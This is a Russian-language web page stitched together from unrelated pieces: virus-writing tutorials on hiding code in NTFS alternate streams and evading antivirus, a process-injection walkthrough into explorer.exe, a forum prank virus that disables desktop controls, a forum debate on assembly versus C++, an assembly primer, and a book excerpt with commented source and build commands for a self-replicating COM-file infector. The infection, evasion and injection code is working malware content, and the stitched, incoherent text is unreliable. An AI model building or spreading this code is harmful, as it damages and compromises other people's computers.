Как создать вирус на ассемблере
Пара вступительных слов
Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.
WARNING
Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.
Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .
Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more .
Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.
Алгоритм работы вируса
Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.
Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.
Архиватор RAR способен сохранять файловые потоки в процессе архивации
Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .
Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.
Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.
flaskatex
Рассмотрим работу простейшего вируса на примере программы, которая внедряет свой код в процесс explorer.exe и запускает его. Внедренный код будит выводить окошко сигнализирующее об успешном внедрении. Программа находит нужный процесс по имени окна, внедряет в него код и запускает его. Рассмотрим алгоритм программы более подробно.
Алгоритм внедрения кода в процесс
1. Найдем нужный процесс по имени окна
Мы будим искать процесс explorer.exe. Для этого воспользуемся функцией FindWindowA.
Данная функция получает дескриптор окна верхнего уровня. Параметрами функции являются указатель на имя класса и указатель на имя окна. В качестве указателя на имя класса передадим ей 'progman', что соответствует explorer.exe, а в качестве указателя на имя окна передадим 0, что соответствует именам всех окон.
NameWindow db 'progman', 0
;Ищем процесс explorer.exe
2. Получим идентификатор потока
Полученный от FindWindowA дескриптор передадим функции GetWindowThreadProcessId. Данная функция возвращает обратно идентификатор потока, который создал окно, идентификатор записывается во второй параметр передаваемый функции.
invoke GetWindowThreadProcessId, eax, ProcessId
3. Откроем поток для работы
Полученный от GetWindowThreadProcessId идентификатор передадим функции OpenProcess, чтобы получить дескриптор заданного процесса. Параметрами передаем уровень доступа к объекту процесса PROCESS_ALL_ACCESS, указываем что дескриптор не может наследоваться и передаем 0, третий параметр идентификатор процесса который открыт. Функция OpenProcess
вернет дескриптор заданного процесса.
invoke OpenProcess, PROCESS_ALL_ACCESS, 0, [ProcessId]
mov [ProcessHandle], eax
4.Выделяем внутри процесса жертвы блок памяти равный размеру внедряемого кода.
Для этого полученный дескриптор от функции OpenProcess передаем в VirtualAllocEx. Функция VirtualAllocEx резервирует или предоставляет физическую память под указанными страницами в виртуальном адресном пространстве указанного процесса. В качестве параметров функция принимает: дескриптор процесса, начальный адрес региона для резервирования памяти, размер региона и способ выделения. Желаемым адресом передадим 0, в этом случае система сама определит, где будит выделен регион памяти. Способ выделения памяти будит комбинацией значений MEM_COMMIT+MEM_RESERVE. MEM_COMMIT п ередает память указанному региону адресного пространства. Память может находиться как непосредственно в оперативной памяти, так и в файле подкачки. Попытка передать памяти диапазону адресов,для которых уже выделена память, не может привести к ошибке. Это значит, что вы можете спокойно получать физическую память под адреса, находящийся в зарезервированном адресном пространстве, не тревожась ни за то, что возникнет ошибка в случае пересекаются указанного диапазона со страницами, которые уже имеют под собой физическую память, ни за то, что содержимое ранее выделенных страниц обнулится. MEM_RESERVE jозначает р езервирование указанного диапазона виртуального адресного пространства процесса без передачи физической памяти. Зарезервированный фрагменты памяти не могут участвовать в дальнейших операциях выделения памяти (например при помощи функций GetMem или LocalAlloc или подобных им) до тех пор пока она не будет освобождена. Физическая память под зарезервированные страницы может быть выделена только при помощи вызова функции VirtualAllocEx. Типом доступа к памяти укажем PAGE_EXECUTE_READ, что предоставляет права чтения памяти и выполнения кода для указанного региона. Попытка записи в страницы указанного региона приведет к нарушению доступа.
5. Записываем внедряемый код в процесс.
Зарезервировав память в виртуальном адресном пространстве процесса, запишем в нее внедряемый код с помощью функции WriteProcessMemory.Параметрами передаем функции дескриптор процесса, память которого мы будим модифицировать; указатель на базовый адрес в заданном процессе (его мы получили от VirtualAllocEx ); указатель на буфер, который содержит записываемые данные в адресном пространстве заданного процесса; число записываемых байт; указатель на переменную, которая получает число записанных байт, зададим его 0.
invoke WriteProcessMemory, [ProcessHandle], [InjectAddr], InjectCode, InjectSize, 0
6. Создаем поток в виртуальном адресном пространстве другого процесса.
Для создания потока выполним функцию CreateRemoteThread. Параметрами передадим ей дескриптор процесса; дескриптор защиты и размер стека зададим по умолчанию 0; указатель на функцию, код которой будит исполняться; аргумент потока, параметры создания и идентификатор потока зададим по умолчанию 0. Теперь наш внедренный код запущен!
invoke CreateRemoteThread, [ProcessHandle], 0 ,0, [InjectAddr], 0,0,0
7. Удаляем дескриптор процесса по закрытию нашей программы.
Выполним функцию CloseHandle, передав ей дескриптор потока. Дескриптор будит удален, при этом внедренный код будит продолжать работать.Это делается для предотвращения утечки памяти и выявления внедренного кода.
Внедряемый код
Разберем теперь внедряемый код.
1. Заголовок или название темы должно быть информативным
2. Все тексты программ должны помещаться в теги [CODE=asm] [/CODE]
3. Прежде чем задавать вопрос, см. "FAQ",если там не нашли ответа, воспользуйтесь ПОИСКОМ, возможно, такую задачу уже решали!
4. Не предлагайте свои решения на других языках, кроме Ассемблера. Исключение только с согласия модератора.
5. НЕ используйте форум для личного общения! Все, что не относиться к обсуждению темы - на PM!
6. Проверяйте программы перед тем, как выложить их на форум!!
От нечего делать решил написать про вирусы! Вот она наболевшая проблема компьютеров! Вирус будет существовать всегда, т.к. желающих портить и ломать софт всегда хватало. Подозреваю что и Ты решил написать что-нибудь подобное(иначе зачем это читать?). Итак кончаем трепаться и перейдем к делу(круто звучит?): писать вирус мы будем на ассемблере, поэтому любители всяких "Дельфи" просьба удалиться, зрелище не для слабонервных(так многим кажется)! Что нам потребуется? Минимально нам потребуется компилятор ассемблера, компоновщик и любой текстовый редактор. Неплохо было бы иметь под рукой отладчик (я использую OllyDbg v1.09) Я рекомендую использовать для компиляции пакет MASM. Он лучше всего подходит для создания Windows приложений. Итак когда все есть можно приступить к делу.
Для данного вируса мне потребуется всего три стандартных функции Win32: ExitProcess из kernel32.dll и EnableWindow и GetClassNameA из user32.dll. Нужно обьявить их в коде:
Возвращаемое значение: Количество скопированых байт в успешном случае, или 0 при ошибке. Подробнее об ошибке можно узнать вызвав GetLastError.
Далее если функция GetClassNameA не дала в результате 0, то мы проверяем является ли класс, находящийся в buffer именно SysListView32. Если мы нашли искомый класс, то можно сделать юзеру пакость. Имея нужный нам хендл (на esi) наши возможности по управлению им (классом) становятся практически неограниченными. Здесь наши пути могут разойтись. Если цель данного вируса - простая шутка, то можно, скажем изменить надпись на элементе управления (если сканировать будете на Button. ) или добавить пару пунктов в SysListView32 или переместить объект по окну или. Еще раз повторю: наши возможности практически неограничены! Все зависит от вашей фантазии. Лично я в этом примере поступлю так: если нахожу SysListView32, то делаю его недоступным, а если не нахожу, то перехожу к следующему хендлу и т.д. Надеюсь до этого все понятно, идем дальше. Сегмент кода:
Далее идет главный участок программы, это цикл, который должен повториться 100000 раз. Почему именно 100000 раз? - Смотрите выше.
Затем, теоретически имея на esi хендл мы проверим, является ли данное число искомым классом. Воспользуемся функцией Api GetClassNameA. В результате при удачном выполнении мы получим имя класса в массиве buffer, а если что-то не так, то в результате GetClassName выдаст нам 0.
Теперь время фишки: я записую в массив только 4 байта из названия класса. Во-первых так мы добьемся более высокой скорости выполнения, во-вторых я не припоминаю стандартных классов Windows начинающихся с "SysL" кроме SysListView32.
Круто! Есть первый кандидат на "затемнение". Чтобы сделать SysListView32 заблокированным вызовем стандартную функцию EnableWindow. По традиции заглянем в MSDN:
Enable - TRUE, для разблокирования. FALSE, для блокировки.
Возвpащаемое значение:
Не нуль - в случае успешного завеpшения. 0 - в пpотивном случае.
Конечно работать без проводника и рабочего стола юзеру будет тяжело . Но еще более осложнить ему жизнь можно поместив нашу програмку в автозагрузку, будет весело! Но уж это сами! Я ни какой ответственности не несу. И вообще я компьютеров побаиваюсь
23 ответа
Вирус - это программа, значит его, как и другие программы, можно писать на любом языке программирования.
Вирус - это программа, значит его, как и другие программы, можно писать на любом языке программирования.
Но лучше писать на асме, т.к. он должен иметь мелкий размер и вообще, вири на асме писать нааамнОго проще!
Честно говоря, не вижу прямой связи между размером и использованием ассемблера.
Говорят, что краткость - сестра таланта. Руководствуясь этим, чуть чуть урежем цитату ув. BioUnit а. Теперь она станет более универсальной:
". не вижу прямой связи между размером и использованием . "
Честно говоря, не вижу прямой связи между размером и использованием ассемблера.
По-моему это очевидно. А цитата про излишнюю самоуверенность ко всем относится.
Задали бы мене этот вопрос на рубеже 90х. ROTFL! LMAO! с неделю бы по полу катался 8-]
По-моему это очевидно. А цитата про излишнюю самоуверенность ко всем относится.
"В первую очередь следует подвергать сомнению очевидное, аксиомы и константы. "
И, честно говоря, я не вижу очевидности. Это клише, а не очевидность.
И, честно говоря, я не вижу очевидности. Это клише, а не очевидность.
А для того чтобы написать на АСМе такого размера прогу надо два года мучиться баги искать :
Причем тут язык?
Причем startup процедуры?
А чем тебе VC++ не угодил?
Проблема не в языке и компиляторе, а в кривости рук. Если ты печешься о размере программы, то смею заверить, что на VC++, вполне можно писать программы не более 1кб результирующего файла.
Может проблема в том, что "вирусы" сейчас пишут все кому не лень, а реальным программистам это уже не интересно?
См. фразу про руки.
Языки высокого уровня придумали не для того, чтоб писать программы с большим результирующим файлом, а для удобства программирования.
Не понял --> мы чем занимаемся сравниваем АСМ с другими на тему размера или .
Я не знаток MSVC++ и не уверен в том что на нём можно написать прогу меньше 1Кб. Был бы очень признателен если бы меня убедили в обратном. Например - exe,cpp,и bat для сборки. main()
Вот именно для удобства - а за всё как известно платить надо. Поскольку одно и то же действие на АСМе можно сделать по разному, а на ЯВУ пишешь одну коротенькую строчку для этого действия - компилятору самому приходиться выбирать способ реализации. И вот это узкое место.
Да, но причем startup процедуры?
Хочешь - пользуйся, а хочешь - нет.
Я не сказал "меньше" я сказал "не больше". Почувствуйте разницу.
Что-то мне не верится, что ты используя самый навороченный ассм сможешь написать приложение под Windows меньше 1к, которое загружается стандаотным загрузчиком Докажешь обратное?
А ты хитрец. :D
printf - не очень и простой метод, парсинг строки формата вывода, подстановка неопределенного количества аргументов, а потом уж вывод на экран. Не думаю, что это элементарная задача для ассма.
Кроме того, ты не указал ОС под которой это все должно выполнятся. А соотв. если это Windows, то файл меньшее 1к не получится (заголовок как минимум 512 байт и хотябы одна секция - 512 байт).
Ну раз так, вот код (test.cpp, Makefile):
int printf(char* str)
<
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
DWORD n;
WriteFile(hStdOut, str, strlen(str), &n, NULL);
return n;
>
# Makefile for test.exe
CC =cl
CFLAGS = /O1 /Os /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /Zp1 /W0 /nologo /c /TP
LINKER = link
LFLAGS = /INCREMENTAL:NO /NODEFAULTLIB /SUBSYSTEM:CONSOLE LIBC.LIB kernel32.lib /ENTRY:main \
/MERGE:.rdata=.text /MERGE:.data=.text /FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078
test.exe: test.obj
$(LINKER) $(LFLAGS) $* /OUT:$@
В результате получается файл ровно 1к, но он добит нулями до этого размера.
Ну если ты пустишь все на самотек, то так оно и выйдет. Но ведь можно разумно управлять процессом компиляции, разумно выбрать и сам компилятор.
Я бы не стал впрягать сюда Java, т.к. мы говорим о несколько других вещах. Java-компиляторы все же не производят в конечном итоге машинный код в отличие от компиляторов ассеблера и C/C++.
Но сам компьютер не понимает человеческий язык. Компьютер — это регистры памяти, простые логические операции, единицы и нули. Поэтому прежде чем ваша программа будет исполнена процессором, ей нужен переводчик — программа, которая превратит высокоуровневый язык программирования в низкоуровневый машинный код.
Ассемблер — это собирательное название языков низкого уровня: код всё ещё пишет человек, но он уже гораздо ближе к принципам работы компьютера, чем к принципам мышления человека.
Как мыслит процессор
Чтобы понять, как работает Ассемблер и почему он работает именно так, нам нужно немного разобраться с внутренним устройством процессора.
Кроме того, что процессор умеет выполнять математические операции, ему нужно где-то хранить промежуточные данные и служебную информацию. Для этого в самом процессоре есть специальные ячейки памяти — их называют регистрами.
Регистры бывают разного вида и назначения: одни служат, чтобы хранить информацию; другие сообщают о состоянии процессора; третьи используются как навигаторы, чтобы процессор знал, куда идти дальше, и так далее. Подробнее — в расхлопе ↓
Общего назначения. Это 8 регистров, каждый из которых может хранить всего 4 байта информации. Такой регистр можно разделить на 2 или 4 части и работать с ними как с отдельными ячейками.
Указатель команд. В этом регистре хранится только адрес следующей команды, которую должен выполнить процессор. Вручную его изменить нельзя, но можно на него повлиять различными командами переходов и процедур.
Регистр флагов. Флаг — какое-то свойство процессора. Например, если установлен флаг переполнения, значит процессор получил в итоге такое число, которое не помещается в нужную ячейку памяти. Он туда кладёт то, что помещается, и ставит в этот флаг цифру 1. Она — сигнал программисту, что что-то пошло не так.
Флагов в процессоре много, какие-то можно менять вручную, и они будут влиять на вычисления, а какие-то можно просто смотреть и делать выводы. Флаги — как сигнальные лампы на панели приборов в самолёте. Они что-то означают, но только самолёт и пилот знают, что именно.
Сегментные регистры. Нужны были для того, чтобы работать с оперативной памятью и получать доступ к любой ячейке. Сейчас такие регистры имеют по 32 бита, и этого достаточно, чтобы получить 4 гигабайта оперативки. Для программы на Ассемблере этого обычно хватает.
Так вот: всё, с чем работает Ассемблер, — это команды процессора, переменные и регистры.
Здесь нет привычных типов данных — у нас есть только байты памяти, в которых можно хранить что угодно. Даже если вы поместите в ячейку какой-то символ, а потом захотите работать с ним как с числом — у вас получится. А вместо привычных циклов можно просто прыгнуть в нужное место кода.
Команды Ассемблера
Каждая команда Ассемблера — это команда для процессора. Не операционной системе, не файловой системе, а именно процессору — то есть в самый низкий уровень, до которого может дотянуться программист.
Любая команда на этом языке выглядит так:
Метка — это имя для фрагмента кода. Например, вы хотите отдельно пометить место, где начинается работа с жёстким диском, чтобы было легче читать код. Ещё метка нужна, чтобы в другом участке программы можно было написать её имя и сразу перепрыгнуть к нужному куску кода.
Команда — служебное слово для процессора, которое он должен выполнить. Специальные компиляторы переводят такие команды в машинный код. Это сделано для того, чтобы не запоминать сами машинные команды, а использовать вместо них какие-то буквенные обозначения, которые проще запомнить. В этом, собственно, и выражается человечность Ассемблера: команды в нём хотя бы отдалённо напоминают человеческие слова.
Операнды отвечают за то, что именно будут делать команды: какие ячейки брать для вычислений, куда помещать результат и что сделать с ним дополнительно. Операндом могут быть названия регистров, ячейки памяти или служебные части команд.
Комментарий — это просто пояснение к коду. Его можно писать на любом языке, и на выполнение программы он не влияет. Примеры команд:
mov eax, ebx ; Пересылаем значение регистра EBX в регистр EAX
mov x, 0 ; Записываем в переменную x значение 0
add eax, х ; Складываем значение регистра ЕАХ и переменной х, результат отправится в регистр ЕАХ
Здесь нет меток, первыми идут команды (mov или add), а за ними — операнды и комментарии.
Пример: возвести число в куб
Если нам понадобится вычислить х³, где х занимает ровно один байт, то на Ассемблере это будет выглядеть так.
Первый вариант
mov al, x ; Пересылаем x в регистр AL
imul al ; Умножаем регистр AL на себя, AX = x * x
movsx bx, x ; Пересылаем x в регистр BX со знаковым расширением
imul bx ; Умножаем AX на BX. Результат разместится в DX:AX
Второй вариант
mov al, x ; Пересылаем x в регистр AL
imul al ; Умножаем регистр AL на себя, AX = x * x
cwde ; Расширяем AX до EAX
movsx ebx, x ; Пересылаем x в регистр EBX со знаковым расширением
imul ebx ; Умножаем EAX на EBX. Поскольку x – 1-байтовая переменная, результат благополучно помещается в EAX
На любом высокоуровневом языке возвести число в куб можно одной строкой. Например:
x = Math.pow(x,3);
x := exp(ln(x) * 3);
на худой конец x = x*x*x.
Хитрость в том, что когда каждая из этих строк будет сведена к машинному коду, этого кода может быть и 5 команд, и 10, и 50, и даже 100. Чего стоит вызов объекта Math и его метода pow: только на эту служебную операцию (ещё до самого возведения в куб) может уйти несколько сотен и даже тысяч машинных команд.
А на Ассемблере это гарантированно пять команд. Ну, или как реализуете.
Почему это круто
Ассемблер позволяет работать с процессором и памятью напрямую — и делать это очень быстро. Дело в том, что в Ассемблере почти не тратится зря процессорное время. Если процессор работает на частоте 3 гигагерца — а это примерно 3 миллиарда процессорных команд в секунду, — то очень хороший код на Ассемблере будет выполнять примерно 2,5 миллиарда команд в секунду. Для сравнения, JavaScript или Python выполнят в тысячу раз меньше команд за то же время.
Ещё программы на Ассемблере занимают очень мало места в памяти. Именно поэтому на этом языке пишут драйверы, которые встраивают прямо в устройства, или управляющие программы, которые занимают несколько килобайт. Например, программа, которая находится в брелоке сигнализации и управляет безопасностью всей машины, занимает всего пару десятков килобайт. А всё потому, что она написана для конкретного процессора и использует его возможности на сто процентов.
Справедливости ради отметим, что современные компиляторы С++ дают машинный код, близкий по быстродействию к Ассемблеру, но всё равно немного уступают ему.
Почему это сложно
Для того, чтобы писать программы на Ассемблере, нужно очень любить кремний:
- понимать архитектуру процессора;
- знать устройство железа, которое работает с этим процессором;
- знать все команды, которые относятся именно к этому типу процессоров;
- уметь работать с данными в побайтовом режиме (забудьте о строках и массивах, ведь ваш максимум — это одна буква);
- понимать, как в ограниченных условиях реализовать нужную функциональность.
Теперь добавьте к этому отсутствие большинства привычных библиотек для работы с чем угодно, сложность чтения текста программы, медленную скорость разработки — и вы получите полное представление о программировании на Ассемблере.
Для чего всё это
Ассемблер незаменим в таких вещах:
- драйверы;
- программирование микроконтроллеров и встраиваемых процессоров;
- куски операционных систем, где важно обеспечить скорость работы;
- антивирусы (и вирусы).
На самом деле на Ассемблере можно даже запилить свой сайт с форумом, если у программиста хватает квалификации. Но чаще всего Ассемблер используют там, где даже скорости и возможностей C++ недостаточно.
В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.
После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.
Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):
;Ищем первый файл по шаблону имени
mov dx,offset fname – offset myself
Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
;Читаем первый байт файла
mov dx,offset buf–offset myself
inc cx ;(увеличение на 1) CX=1
;Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
;файла – этот для заражения не подходит
cmp byte ptr [bp+(offset buf–offset myself)],0E9h
Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:
;Переходим в конец файла (на последний байт)
mov dx,[bp+(offset flen?offset MySelf)]
;Читаем сигнатуру вируса
mov dx,offset bytik–offset myself
;Если при чтении файла ошибок не произошло,
;иначе ищем следующий файл
cmp byte ptr [bp+(offset bytik?offset myself)],CheckByte
;Если сигнатура есть, то ищем другой файл,
;если ее нет – будем заражать
Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:
;Переходим в конец файла
;Устанавливаем регистр DS на сегмент кода
;Копируем вирус в файл
mov cx,offset VirEnd–offset la
sub dx,offset myself?offset la
;Записываем в начало файла переход на тело вируса
;Переходим в начало файла
;Записываем первые три байта файла (переход на тело вируса)
mov dx,offset jmpvir–offset myself
После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:
tasm.exe leo.asm tlink leo.obj/t
В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер – вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:
.286 ;Устанавливаем тип процессора
CheckByte equ 0F0h
;Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code
;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть – ”code ends”
;Устанавливаем смещения в сегменте кода.
;Данная строчка обязательна
;для COM?программы (все COM?программы
;начинаются с адреса 100h)
;Имитируем зараженный COM?файл.
;Тело вируса начинается с метки la
db 0E9h ;Код команды JMP
dw offset la–offset real
;Выходим из программы
;Здесь начинается тело вируса
;Сохраняем регистры и флаги
;Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
;Восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]–offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]–offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]–offset MySelf)]
mov byte ptr cs:[102h],al
;Дальнейшая задача вируса – найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
;Ищем первый файл по шаблону имени
mov dx,offset fname–offset myself
;Если файл найден – переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
;Читаем оригинальные атрибуты файла
mov dx,9Eh ;Адрес имени файла
;Сохраняем оригинальные атрибуты файла
;Устанавливаем новые атрибуты файла
mov dx,9Eh ;Адрес имени файла
;Переходим к открытию файла
;Ищем следующий файл, так как предыдущий не подходит
;Восстанавливаем оригинальные атрибуты файла
mov dx,9Eh ;Адрес имени файла
;Ищем следующий файл
;Если файл найден – переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
;Если при открытии файла ошибок не произошло –
;переходим к чтению, иначе выходим из вируса
;Читаем первый байт файла
mov dx,offset buf–offset myself
inc cx ;(увеличение на 1) CX=1
;Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла –
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf–offset myself)],0E9h
;Переходим в начало файла
;Читаем первые три байта файла в тело вируса
mov dx,offset bytes_3–offset myself
;Получаем длину файла, для чего переходим в конец файла
;Сохраняем полученную длину файла
mov [bp+(offset flen?offset MySelf)],ax
;Проверяем длину файла
;Если файл не больше 64000 байт,– переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
;Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
;Переходим в конец файла (на последний байт)
mov dx,[bp+(offset flen?offset MySelf)]
;Читаем сигнатуру вируса
mov dx,offset bytik–offset myself
;Если при чтении файла ошибок
;не произошло – проверяем сигнатуру,
;иначе ищем следующий файл
cmp byte ptr [bp+(offset bytik?offset myself)],CheckByte
;Если сигнатура есть, то ищем другой файл,
;если нет – будем заражать
;Файл не заражен – будем заражать
mov ax,[bp+(offset flen?offset myself)]
mov [bp+(offset jmp_cmd?offset myself)],ax
;Переходим в конец файла
;Устанавливаем регистр DS на сегмент кода
;Копируем вирус в файл
mov cx,offset VirEnd–offset la
sub dx,offset myself?offset la
;Записываем в начало файла переход на тело вируса
;Переходим в начало файла
;Записываем первые три байта файла (переход на тело вируса)
mov dx,offset jmpvir–offset myself
;Восстанавливаем оригинальные атрибуты файла
;Восстанавливаем первоначальные значения регистров и флагов
;Передаем управление программе?носителю
;Байт для чтения сигнатуры
;Зарезервировано для изменения трех байт вируса
;Шаблон для поиска файлов
;Область для хранения команды перехода
bytes_3 db 90h, 90h, 90h
;Байт памяти для чтения первого байта файла
;с целью проверки (E9h)
virus_name db ”Leo”
Данный текст является ознакомительным фрагментом.
Читать книгу целиком
Похожие главы из других книг:
Совет 39: Общедоступный вирус Работая за чужим компьютером, можно не только оставить там что-то ценное, но и заполучить оттуда что-то неприятное. Речь, конечно, о вредоносных программах, которыми может быть заражена общедоступная система. Распространяться зловреды умеют
Простейший Web-сценарий Первый Web-сценарий, который мы напишем, будет совсем простым. Он выведет на Web-страницу текущую дату.В самом начале этой книги, приступив к изучению HTML, мы создали небольшую Web-страничку 1.1.htm. Найдем ее и откроем в Блокноте. В самом конце ее HTML- кода,
Простейший файл конфигурации #NeTAMS version 3.1(1205.408) compiled by root@avm#configuration built Thu Aug 8 09:03:53 2002#begin#global variables configurationdebug noneuser name admin real–name Admin password aaa email root@localhost permit all#services configurationservice server 0login locallisten 20001max–conn 6service processor 0lookup–delay 60flow–lifetime 180policy name ip target proto ippolicy name www target proto tcp port 80 81 8080 3128policy name
Простейший Web-сценарий Первый Web-сценарий, который мы напишем, будет совсем простым. Он выведет на Web-страницу текущую дату.В самом начале этой книги, приступив к изучению HTML, мы создали небольшую Web-страничку 1.1.htm. Найдем ее и откроем в Блокноте. В самом конце ее HTML- кода,
Вирус Троян Название Троян связано с городом Троя, вернее будет сказать, с большим и красивым конем, который был внесен в ее ворота самими жителями Трои. Лошадка эта рассматривалась жителями как дар завоевателей, которые днями напролет безуспешно пытались взять штурмом
Простейший диодный ограничитель Ограничитель используется, чтобы передать на выход только часть входного напряжения произвольной формы. Когда диод включается, происходит отсечка: на выход независимо от входного сигнала подается сумма напряжений на источнике и
1.2. Что такое вирус Как бы странно это ни звучало, компьютерный вирус – программа и, как правило, небольшая по размеру. Все дело в назначении и способе распространения. Обычная программа выполняет полезную работу, стараясь не нарушить функционирование операционной
Простейший пример Чтобы продемонстрировать "пользу" структурированной обработки исключений, нужно создать тип, который в подходящем окружении может генерировать исключение. Предположим, что мы создали новое консольное приложение с именeм SimpleException, в котором
Простейший пример делегата В начале освоения приемов работы с делегатами у программиста может возникать много вопросов. Поэтому мы начнем с рассмотрения очень простого примера, в котором используется созданный нами тип делегата BinaryOp. Вот программный код, который мы
А.3.1. Простейший калькулятор Для иллюстрации методики профилирования мы напишем простейшую программу- калькулятор. Чтобы программа выполнялась нетривиальным образом, заставим ее работать с унарными числами, чего не встречается в реальных калькуляторах. Код программы
Простейший текстовый редактор Когда вы создаете приложение с однооконным или многооконным интерфейсом при помощи средств MFC AppWizard, в последней диалоговой панели вы можете выбрать базовый класс для окна просмотра приложения. По умолчанию используется класс CView.От класса
Как вирус попадает в компьютер Дискеты в наше время используются крайне редко, хотя раньше это был основной способ распространения вирусов. А может ли вирус попасть в ваш компьютер с лазерного диска CD или DVD? Если это лицензионный фирменный диск, то, скорее всего, — нет. Но
